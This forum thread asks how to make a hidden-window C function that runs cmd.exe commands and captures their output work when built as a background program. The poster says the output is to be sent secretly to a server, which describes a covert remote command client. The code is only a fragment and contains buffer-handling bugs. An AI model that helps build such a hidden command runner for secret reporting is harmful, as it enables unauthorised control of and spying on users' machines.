How to make ExecDosCmd() run correctly in the background

[jekyee]

I'm writing ExecDosCmd() to execute dos commands and get output.
It works well,howerver, when the following line is added to make the programme run in the background,I can't get correct output.
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
I use VC6 to edit and compile the codes.
////

BOOL ExecDosCmd(char *EXECDOSCMD,char *buffer)
{//buffer save the output
//#define EXECDOSCMD "dir c:"
	SECURITY_ATTRIBUTES sa;
	HANDLE hRead,hWrite;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;
	if (!CreatePipe(&hRead,&hWrite,&sa,0)) {
		return FALSE;
	}
	char command[1024]={0};
	strcpy(command,"cmd.exe /C ");
	strcat(command,EXECDOSCMD);
	STARTUPINFO si;
	PROCESS_INFORMATION pi; 
	si.cb = sizeof(STARTUPINFO);
	GetStartupInfo(&si); 
	si.hStdError = hWrite;
	si.hStdOutput = hWrite;
	si.wShowWindow = SW_HIDE;
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	if (!CreateProcess(NULL, command,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) 
	{ 
		WaitForSingleObject(pi.hProcess,3000);//3 seconds
		CloseHandle(hWrite);
		CloseHandle(hRead);
		return false;
	}
	CloseHandle(hWrite);
	DWORD bytesRead; 
	while (true){
		if (ReadFile(hRead,buffer,60000,&bytesRead,NULL) == NULL){
			break;
		}
	}
	CloseHandle(hRead);
	return true;
}

Can anyone tell me why it's wrong and how to correct it?

[modoran]

Why don't you create a new win32 project (GUI project) instead of that #pragma directive ??

[jekyee]

I want the application( as client) to run in the background on windows system and get correct output after executing the dos commands.so I needn't GUI.
The output will be sent to server application secretly.